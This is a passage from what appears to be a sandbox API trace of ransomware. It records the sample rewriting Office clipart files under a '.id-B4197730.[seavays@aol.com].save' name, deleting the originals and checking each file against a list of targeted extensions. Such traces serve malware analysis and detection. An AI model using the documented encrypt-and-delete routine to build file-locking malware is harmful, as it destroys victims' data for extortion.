SetEndOfFile (hFile=0x2f4) returned 1 [0066.440] CloseHandle (hObject=0x2f4) returned 1 [0066.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0066.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.441] lstrlenW (lpString=".doc") returned 4 [0066.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.441] lstrlenW (lpString=".docx") returned 5 [0066.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.441] lstrlenW (lpString=".pdf") returned 4 [0066.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.441] lstrlenW (lpString=".xls") returned 4 [0066.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.441] lstrlenW (lpString=".xlsx") returned 5 [0066.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.441] lstrlenW (lpString=".ppt") returned 4 [0066.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.441] lstrlenW (lpString=".zip") returned 4 [0066.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.441] lstrlenW (lpString=".rar") returned 4 [0066.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.441] lstrlenW (lpString=".bz2") returned 4 [0066.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.441] lstrlenW (lpString=".7z") returned 3 [0066.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.441] lstrlenW (lpString=".dbf") returned 4 [0066.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.441] lstrlenW (lpString=".1cd") returned 4 [0066.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.441] lstrlenW (lpString=".jpg") returned 4 [0066.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.442] lstrlenW (lpString=".doc") returned 4 [0066.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.442] lstrlenW (lpString=".docx") returned 5 [0066.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.442] lstrlenW (lpString=".pdf") returned 4 [0066.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.442] lstrlenW (lpString=".xls") returned 4 [0066.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.442] lstrlenW (lpString=".xlsx") returned 5 [0066.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.442] lstrlenW (lpString=".ppt") returned 4 [0066.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.442] lstrlenW (lpString=".zip") returned 4 [0066.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.442] lstrlenW (lpString=".rar") returned 4 [0066.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.442] lstrlenW (lpString=".bz2") returned 4 [0066.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.442] lstrlenW (lpString=".7z") returned 3 [0066.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.442] lstrlenW (lpString=".dbf") returned 4 [0066.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.442] lstrlenW (lpString=".1cd") returned 4 [0066.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0066.443] lstrlenW (lpString=".jpg") returned 4 [0066.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.443] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0066.443] lstrlenW (lpString="BL00234_.WMF") returned 12 [0066.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.443] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=9304) returned 1 [0066.443] CloseHandle (hObject=0x2f4) returned 1 [0066.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0066.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.444] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.444] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.444] GetLastError () returned 0x0 [0066.444] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2458, lpOverlapped=0x0) returned 1 [0066.446] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2460, lpOverlapped=0x0) returned 1 [0066.447] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.447] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.447] SetEndOfFile (hFile=0x2ec) returned 1 [0066.447] CloseHandle (hObject=0x2ec) returned 1 [0066.448] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.448] SetEndOfFile (hFile=0x2f4) returned 1 [0066.449] CloseHandle (hObject=0x2f4) returned 1 [0066.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0066.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.450] lstrlenW (lpString=".doc") returned 4 [0066.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.450] lstrlenW (lpString=".docx") returned 5 [0066.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.450] lstrlenW (lpString=".pdf") returned 4 [0066.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.450] lstrlenW (lpString=".xls") returned 4 [0066.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.450] lstrlenW (lpString=".xlsx") returned 5 [0066.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.450] lstrlenW (lpString=".ppt") returned 4 [0066.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.450] lstrlenW (lpString=".zip") returned 4 [0066.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.450] lstrlenW (lpString=".rar") returned 4 [0066.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.450] lstrlenW (lpString=".bz2") returned 4 [0066.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.450] lstrlenW (lpString=".7z") returned 3 [0066.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.450] lstrlenW (lpString=".dbf") returned 4 [0066.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.450] lstrlenW (lpString=".1cd") returned 4 [0066.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.450] lstrlenW (lpString=".jpg") returned 4 [0066.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.451] lstrlenW (lpString=".doc") returned 4 [0066.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString=".docx") returned 5 [0066.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.451] lstrlenW (lpString=".pdf") returned 4 [0066.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString=".xls") returned 4 [0066.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.451] lstrlenW (lpString=".xlsx") returned 5 [0066.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.451] lstrlenW (lpString=".ppt") returned 4 [0066.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.451] lstrlenW (lpString=".zip") returned 4 [0066.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.451] lstrlenW (lpString=".rar") returned 4 [0066.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString=".bz2") returned 4 [0066.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString=".7z") returned 3 [0066.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.451] lstrlenW (lpString=".dbf") returned 4 [0066.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.451] lstrlenW (lpString=".1cd") returned 4 [0066.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0066.451] lstrlenW (lpString=".jpg") returned 4 [0066.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.452] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0066.452] lstrlenW (lpString="BL00242_.WMF") returned 12 [0066.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.452] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4024) returned 1 [0066.452] CloseHandle (hObject=0x2f4) returned 1 [0067.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0067.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0067.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0067.147] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.147] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.147] GetLastError () returned 0x0 [0067.147] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0067.149] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0067.150] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.150] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.151] SetEndOfFile (hFile=0x368) returned 1 [0067.151] CloseHandle (hObject=0x368) returned 1 [0067.152] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.152] SetEndOfFile (hFile=0x2e8) returned 1 [0067.153] CloseHandle (hObject=0x2e8) returned 1 [0067.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0067.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.154] lstrlenW (lpString=".doc") returned 4 [0067.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.154] lstrlenW (lpString=".docx") returned 5 [0067.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.154] lstrlenW (lpString=".pdf") returned 4 [0067.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.154] lstrlenW (lpString=".xls") returned 4 [0067.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.154] lstrlenW (lpString=".xlsx") returned 5 [0067.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.155] lstrlenW (lpString=".ppt") returned 4 [0067.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.155] lstrlenW (lpString=".zip") returned 4 [0067.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.155] lstrlenW (lpString=".rar") returned 4 [0067.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.155] lstrlenW (lpString=".bz2") returned 4 [0067.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.155] lstrlenW (lpString=".7z") returned 3 [0067.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.155] lstrlenW (lpString=".dbf") returned 4 [0067.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.155] lstrlenW (lpString=".1cd") returned 4 [0067.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.155] lstrlenW (lpString=".jpg") returned 4 [0067.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.156] lstrlenW (lpString=".doc") returned 4 [0067.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.156] lstrlenW (lpString=".docx") returned 5 [0067.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.156] lstrlenW (lpString=".pdf") returned 4 [0067.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.156] lstrlenW (lpString=".xls") returned 4 [0067.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.156] lstrlenW (lpString=".xlsx") returned 5 [0067.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.156] lstrlenW (lpString=".ppt") returned 4 [0067.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.156] lstrlenW (lpString=".zip") returned 4 [0067.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.156] lstrlenW (lpString=".rar") returned 4 [0067.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.156] lstrlenW (lpString=".bz2") returned 4 [0067.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.157] lstrlenW (lpString=".7z") returned 3 [0067.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.157] lstrlenW (lpString=".dbf") returned 4 [0067.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.157] lstrlenW (lpString=".1cd") returned 4 [0067.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0067.157] lstrlenW (lpString=".jpg") returned 4 [0067.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.158] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.158] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.159] GetLastError () returned 0x0 [0067.159] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x332e, lpOverlapped=0x0) returned 1 [0067.161] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x3330, lpOverlapped=0x0) returned 1 [0067.163] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.163] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.163] SetEndOfFile (hFile=0x368) returned 1 [0067.163] CloseHandle (hObject=0x368) returned 1 [0067.165] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.165] SetEndOfFile (hFile=0x2e8) returned 1 [0067.166] CloseHandle (hObject=0x2e8) returned 1 [0067.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0067.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0067.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0067.167] lstrlenW (lpString=".doc") returned 4 [0067.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.167] lstrlenW (lpString=".docx") returned 5 [0067.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.168] lstrlenW (lpString=".pdf") returned 4 [0067.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.168] lstrlenW (lpString=".xls") returned 4 [0067.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.168] lstrlenW (lpString=".xlsx") returned 5 [0067.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.168] lstrlenW (lpString=".ppt") returned 4 [0067.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0067.168] lstrlenW (lpString=".zip") returned 4 [0067.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.168] lstrlenW (lpString=".rar") returned 4 [0067.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.168] lstrlenW (lpString=".bz2") returned 4 [0067.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.168] lstrlenW (lpString=".7z") returned 3 [0067.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned 